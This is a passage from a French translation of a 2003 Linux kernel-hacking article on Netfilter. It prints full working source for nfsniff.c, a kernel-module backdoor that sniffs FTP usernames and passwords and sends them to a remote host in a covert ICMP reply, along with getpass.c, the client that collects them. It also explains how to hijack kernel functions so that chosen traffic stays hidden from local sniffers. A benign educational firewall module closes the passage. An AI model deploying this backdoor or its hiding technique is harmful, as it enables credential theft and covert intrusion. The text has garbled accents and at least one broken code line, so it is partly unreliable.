plantage du noyau. Cela vient du fait que dev_queue_xmit() va libr le
buffer de la socket pass en argument et que Netfilter va essayer de faire
la mme chose. 

------[ 5.2.1 - The code... nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
 * A captured Username and Password pair are sent to a remote host
 * when that host sends a specially formatted ICMP packet. Here we
 * shall use an ICMP_ECHO packet whose code field is set to 0x5B
 * *AND* the packet has enough
 * space after the headers to fit a 4-byte IP address and the
 * username and password fields which are a max. of 15 characters
 * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

 /* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
			       - sizeof(struct iphdr) \
			       - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;	 /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;	       /* Incoming */
struct nf_hook_ops  post_hook;	       /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
	     && *(data + i) != '\0' && i < 15) {
	 len++;
	 i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
	return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';	       /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
	     && *(data + i) != '\0' && i < 15) {
	 len++;
	 i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
	return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';	       /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
	 kfree(username);
	 username = NULL;
	 target_port = target_ip = 0;
	 have_pair = 0;
	 
	 return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;		       /* Have a pair. Ignore others until
					* this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
			      struct sk_buff **skb,
			      const struct net_device *in,
			      const struct net_device *out,
			      int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;		       /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;		       /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
			     struct sk_buff **skb,
			     const struct net_device *in,
			     const struct net_device *out,
			     int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;		       /* Where we copy data to in reply */
   unsigned int   taddr;	       /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:		       /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
	{
	   unsigned char t_hwaddr[ETH_ALEN];
	   
	   /* Move the data pointer to point to the link layer header */
	   sb->data = (unsigned char *)sb->mac.ethernet;
	   sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
	   memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
		  ETH_ALEN);
	   memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
	   break;
	}
   };
 
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
>

------[ 5.2.2 - getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD		       /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];	       /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
	fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
	exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
	fprintf(stderr, "Couldn't open raw socket! %s\n",
		strerror(errno));
	exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
		  ptr_one, sizeof(one)) < 0) {
	close(icmp_sock);
	fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
	        strerror(errno));
	exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
	       sizeof(struct sockaddr)) < 0) {
	fprintf(stderr, "\nFailed sending request! %s\n",
		strerror(errno));
	return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
		 &src_addr_size) < 0) {
	fprintf(stdout, "Failed getting reply packet! %s\n",
		strerror(errno));
	close(icmp_sock);
	exit(1);
    }
	
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
    	   sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
	     (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
	     (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}
>

--[ 6 - Cacher le traffic rseau  Libpcap

Cette partie va brivement dcrire comment le noyau Linux 2.4 peut tre
hack afin qu'un traffic prcis sur le rseau soit indtectable pour un
sniffer plac sur la machine locale. Un code ralisant ceci pour un traffic
IPv4 venant ou allant vers une certaine IP vous est prsent  la fin de
cette article. Aprs cette brve introduction, rentrons dans le vif du
sujet

----[ 6.1 - SOCK_PACKET, SOCK_RAW et Libpcap

Une partie des logiciels les plus utiles pour un administrateur systme
peut tre classifi sous le vague titre de "sniffer de paquets". Les deux
examples les plus communs sont tcpdump(1) et Ethereal(1). Ces deyx
logiciels utilisent la librairie Libpcap ( disponible ainsi que tcpdump sur
[1] ) pour capturer les paquets brutes. Network Intrusion Detection System
(NIDS) utilise lui aussi la librairie Libpcap. SNORT requiet aussi Libpcap,
tout comme Libnids, une librairie utilis dans NDIS qui propose IP
reassembly et remontage des traces TCP (librairies disponibles en [2]) (
prout).

Sur les systmes Linux, la librairie Libpcap utilise l'interface
SOCK_PACKET. Ces sockets sont des socket spciales qui peuvent tre utilis
pour recevoir et envoyer des paquets brutes au niveau de la couche de
liaison. On pourrait dire de nombreuses chose sur ces sockets SOCK_PACKET
et leurs utilisation. Toutefois, comme nous nous intressons ici sur
comment se cacher d'elles et non pas comment les utiliser, nous invitons
les lecteurs intress  lire le man 7 packet. Pour la discussion qui va
suivre, la seule chose  comprendre est que c'est ce type de paquet que la
Lipcap utilise pour avoir des informations sur les paquets bruts entrants
et sortants.

Quand un paquet est recu par la pile rseau du noau, un controle est
effectu pour voir si aucune socket de type SOCK_PACKET n'est intrss par
ce paquet. Si c 'est le cas, la paquet est simplement dlivr  la socket
intrss. Sinon la paquet va simplement continu son chemin vers TCP, UDP
ou n'importe quel type de paquet pour lequel il est fait. La mme chose
arrive pour les paquets de type RAW_SOCK. Ces raws sockets ressemblent par
de nombreux points aux sockets SOCK_PACKETS, l'exception du fait qu'elles
ne fournissent pas d'en-tte pour la couche de liaison. SYNalert est un
exemple d'utilitaires utilisant les raw sockets, il est disponible en [3]
(sorry about the shameless plug there ) .

Maintenant, vous devriez avoir compris que les logiciels qui sniffent les
paquets sous Linux utilisaient la librairie Libpcap. La Libpcap utilise
l'interface SOCK_PACKET pour obtenir des paquets brutes avec les headers de
la couche de liaison. Les raw sockets ont aussi t mentionnes comme moyen
d'obtenir un paquet complet avec header IP  partir de l'espace
utilisateur. La prochaine partie va maintenant discuter de comment un LKM
peut tre utilis pour cacher du traffic rseaux  des interfaces de types
SOCK_PACKET ou SOCK_RAW.

------[ 6.2 Cacher le couteau sous le manteau

Quand un paquet est rec,u et envoy  une interface SOCK_PACKET, la
fonction packet_recv() est appel. Le code de cette fonction peut etre
trouv dans net/packet/af_packet.c . Cette fonction est charg de faire
passer le paquet par des filtres qui doivent tre appliqu  la socket de
destination puis de delivrer ce paquet  l'espace utilisateur ( un peu
n'importe quoi). Pour cacher les paquets  une interface SOCK_PACKET, nous
devons nous assurer que la fonction packet_rcv() ne soit pas appell pour
certains paquets. Comment faire cela ? En utilisant le bon vieux hijacking
de fontions des familles bien sur !!!

L'opration de base dans le hijacking de fonction est que, si nous
connaissons l'addresse d'une fonction du noyau, mme si elle n'est pas
exporte, nous pouvons faire pointer cette fonction  un autre endroit afin
d'executer notre code avant d'appeller la vraie fonction (NdT c'est tres
perso ). Pour faire cela, nous devons commcer par sauver les premiers bytes
de la fonction original que nous allons transformer afin de faire un saut
vers notre propre code. En assembleur x86, cela ressemblerai  ca:

movl (addresse de notre fonction), %eax
jmp *eax

La code hexadcimal gnr par ce code (en substituant les zros par
l'addresse de votre fonction) est

0xb8 0x00 0x00 0x00 0x00

0xff 0xe0

Si lors de l'initialisation de notre LKM, nous changeons les zeros du code
prcedent par l'addresse de notre fonction de hook, alors notre hook sera
xcuter en premier. Quand (si) nous voulons xcuter la fonction
originale, nous restaurons simplement les bytes originaux au debut de la
fonction, appelons la fonction puis remplacons notre code de hijack ( burk
et reburk). Simple mais puissant !!! Silvio Cesra a crit un document
dtaillant le hijacking de fonction du noyau. Voir [4] dans les rfrences.

Maintenant pour cacher les paquets des interfaces SOCK_PACKET, nous devons
commencer par crire notre fonction de hook qui va vrifier si le paquet
correspond  nos critres. Si c'est le cas, notre fonction retourne
simplement 0 et la fontion packet_rcv() ne sera jamais appelle. Or si
cette fonction n'est jamais appele, alors le paquet ne sera jamais
dlivre  l'espace utilisateur. Notez bien que ce paquet ne sera rejet
que pour l'interface SOCK_PACKET. Si nous voulons viter que les paquets
TCP soient rcupres par l'interface SOCK_PACKET, alors le serveur FTP
utilisant des sockets TCP verront toujours les paquets . La seule chose que
nous faisons ici est de rendre invisible le paquet pour tout sniffer se
trouvant sur la machine locale. Le serveur FTP pourra toujours effectuer la
la connection et la loguer.

En thorie,( buh je fatigue la). La mme chose peut etre raliser avec les
raw sockets. La seule diffrence est que nous devons hook la fonction
raw_rcv() (dfinie dans net/ipv4/raw.c). La prochaine partie va prsenter
et discuter le code source d'un LKM quiva hijacket les fonctions
packet_rcv() et raw_rcv() et ainsi cacher toutes les paquets venant ou
arrivant d'une addresse IP que nous spcifions.

-[ 7 - Conclusion

Si tout va bien, vous devriez maintenant avoir une comprhension de base de
ce qu'est Netfilet, de comment l'utiliser et de ce que nous pouvons faire
avec. Vous devez maintenant savoir comment cacher une partie du traffic
rseau  tous logiciels sniffeurs sur la machine locale. Si vous voulez une
archive contant les sources utiliss pour ce tutorial, envoyez moi un
mail.J'apprecierai aussi toutes corrections, commentaires et suggestions.
Maintenant, je vous laisse ,  vous et  votre imagination, le soin de
raliser d'intressants choses avec ce que je vous ai prsent.

--[ A - Light-Weight Fire Wall
---[ A.1 - Vue d'ensemble

Le Light-Weight Fire Wall (LWFW) est un simple module dmontrant les
diverses techniques de filtrage de paquets prsentes dans la section 4.
LWFW propose de plus une interface de contro^le via le system call ioctl().

Comme les sources de LWFW sont suffissament commentes, je me contenterai
d'une brve vue d'ensemble de son fonctionnement. Lorsque le module LWFW
est install, sa premire ta^che est d'essayer et d'enregistrer l'interface
de controle. Notez bien qu'avant de pouvoir utiliser l'interface ioctl()
de LWFW, un fichier de device de caractre doit tre cre dans /dev ( a
chier ). Si l'interface de contro^le est enregistr avec succes, le
marqueur "in use" est effac et la fonction de hook pour NF_IP_PRE_ROUTE
est enregistr. La foncion clean_up() fait simplement le contraire de la
procdure prcdente.

LWFW fournit trois options basiques pour filtrer les paquets. Ce sont, par
ordre de traitement :
-- Interface source
-- Addresse IP source
-- Port TCP de destination

Les dtails pour ces rgles peuvent tre fix via l'interface ioctl().
Quand un paquet est rec,u, LWFW va vrifier son intgrit vis  vis des
rgles qui ont t fixs. SI il correspond  une de ces rgles, alors la
fonction de hook va retourner NF_DROP et Netfilter va silencieusement
rejeter ce paquet. Dans le cas contraire, la fonctiond e hook va retourner
NF_ACCEPT et le paquet continuera son chemin.

La dernire chose intressante  mentionner est la gestion des statistiques
par LWFW. Quand un paquet arrive dans la fonction de hook et que LWFW est
activ, alors le nombre total de paquet est incrment. Chaque rgle a son
propre compteur qu'elle incremente au fur et  mesure que les paquets sont
rejets par cette rgle. A noter que lorsqu'une rgle est modif , son
compteur de paquet rejet est mis  0. Le programme lwfwstats utilisent
l'IOCTL LWFW_GET_STATS pour recuperer une copie le de structure de
statistique et afficher son contenu.

----[ A.2 - The source... lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge - March 2003.
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
| LWFW_IP_DENY_ACTIVE
| LWFW_PORT_DENY_ACTIVE);

static int major = 0; /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO: One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL; /* Interface to deny */
static unsigned int deny_ip = 0x00000000; /* IP address to deny */
static unsigned short deny_port = 0x0000; /* TCP port to deny */

/*
* This is the interface devics file_operations structure
*/
struct file_operations lwfw_fops = {
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
lwfw_ioctl,
NULL,
lwfw_open,
NULL,
lwfw_release,
NULL /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
unsigned int ret = NF_ACCEPT;

/* If LWFW is not currently active, immediately return ACCEPT */
if (!active)
return NF_ACCEPT;

lwfw_statistics.total_seen++;

/* Check the interface rule first */
if (deny_if && DENY_IF_ACTIVE) {
if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
}
}

/* Check the IP address rule */
if (deny_ip && DENY_IP_ACTIVE) {
ret = check_ip_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}

/* Finally, check the TCP port rule */
if (deny_port && DENY_PORT_ACTIVE) {
ret = check_tcp_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}

return NF_ACCEPT; /* We are happy to keep the packet
*/
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
NULL_CHECK(statbuff);

copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));

return 0;
}

/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
/* Seperately defined pointers to header structures are used
* to access the TCP fields because it seems that the so-called
* transport header from skb is the same as its network header TCP
* packets.
* If you don't believe me then print the addresses of skb->nh.iph
* and skb->h.th.
* It would have been nicer if the network header only was IP and
* the transport header was TCP but what can you do? */
struct tcphdr *thead;

/* We don't want any NULL pointers in the chain to the TCP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}

thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

/* Now check the destination port */
if ((thead->dest) == deny_port) {
/* Update statistics */
lwfw_statistics.total_dropped++;
lwfw_statistics.tcp_dropped++;

return NF_DROP;
}

return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
lwfw_statistics.ip_dropped++; /* Update the statistics */
lwfw_statistics.total_dropped++;

return NF_DROP;
}

return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
int ret = 0;
char *if_dup; /* Duplicate interface */

/* Make sure the name is non-null */
NULL_CHECK(name);

/* Free any previously saved interface name */
if (deny_if) {
kfree(deny_if);
deny_if = NULL;
}

if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
== NULL) {
ret = -ENOMEM;
} else {
memset(if_dup, 0x00, strlen((char *)name) + 1);
memcpy(if_dup, (char *)name, strlen((char *)name));
}

deny_if = if_dup;
lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */
printk("LWFW: Set to deny from interface: %s\n", deny_if);

return ret;
}

static int set_ip_rule(unsigned int ip)
{
deny_ip = ip;
lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */

printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

return 0;
}

static int set_port_rule(unsigned short port)
{
deny_port = port;
lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */

printk("LWFW: Set to deny for TCP port: %d\n",
((port & 0xFF00) >> 8 | (port & 0x00FF) << );

return 0;
}

/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg)
{
int ret = 0;

switch (cmd) {
case LWFW_GET_VERS:
return LWFW_VERS;
case LWFW_ACTIVATE: {
active = 1;
printk("LWFW: Activated.\n");
if (!deny_if && !deny_ip && !deny_port) {
printk("LWFW: No deny options set.\n");
}
break;
}
case LWFW_DEACTIVATE: {
active ^= active;
printk("LWFW: Deactivated.\n");
break;
}
case LWFW_GET_STATS: {
ret = copy_stats((struct lwfw_stats *)arg);
break;
}
case LWFW_DENY_IF: {
ret = set_if_rule((char *)arg);
break;
}
case LWFW_DENY_IP: {
ret = set_ip_rule((unsigned int)arg);
break;
}
case LWFW_DENY_PORT: {
ret = set_port_rule((unsigned short)arg);
break;
}
default:
ret = -EBADRQC;
};

return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
if (lwfw_ctrl_in_use) {
return -EBUSY;
} else {
MOD_INC_USE_COUNT;
lwfw_ctrl_in_use++;
return 0;
}
return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
MOD_DEC_USE_COUNT;
return 0;
}

/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
/* Register the control device, /dev/lwfw */
SET_MODULE_OWNER(&lwfw_fops);

/* Attempt to register the LWFW control device */
if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
printk("LWFW: Failed registering control device!\n");
printk("LWFW: Module installation aborted.\n");
return major;
}

/* Make sure the usage marker for the control device is cleared */
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

printk("\nLWFW: Control device successfully registered.\n");

/* Now register the network hooks */
nfkiller.hook = lwfw_hookfn;
nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */
nfkiller.pf = PF_INET; /* IPV4 protocol hook */
nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */

/* And register... */
nf_register_hook(&nfkiller);

printk("LWFW: Network hooks successfully installed.\n");

printk("LWFW: Module installation successful.\n");
return 0;
}

void cleanup_module()
{
int ret;

/* Remove IPV4 hook */
nf_unregister_hook(&nfkiller);

/* Now unregister control device */
if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
printk("LWFW: Removal of module failed!\n");
}

/* If anything was allocated for the deny rules, free it here */
if (deny_if)
kfree(deny_if);

printk("LWFW: Removal of module successful.\n");
}
>

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge - March 2003
*/

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME "lwfw"

/* Version of LWFW */
# define LWFW_VERS 0x0001 /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary
*/
#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */
#define LWFW_ACTIVATE 0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS 0xFEED0004
#define LWFW_DENY_IF 0xFEED0005
#define LWFW_DENY_IP 0xFEED0006
#define LWFW_DENY_PORT 0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE 0x00000001
#define LWFW_IP_DENY_ACTIVE 0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
* Note that whenever a ruls condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
unsigned int if_dropped; /* Packets dropped by interface rule
*/
unsigned int ip_dropped; /* Packets dropped by IP addr. rule
*/
unsigned int tcp_dropped; /* Packets dropped by TCP port rule
*/
unsigned long total_dropped; /* Total packets dropped */
unsigned long total_seen; /* Total packets seen by filter */
};

/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
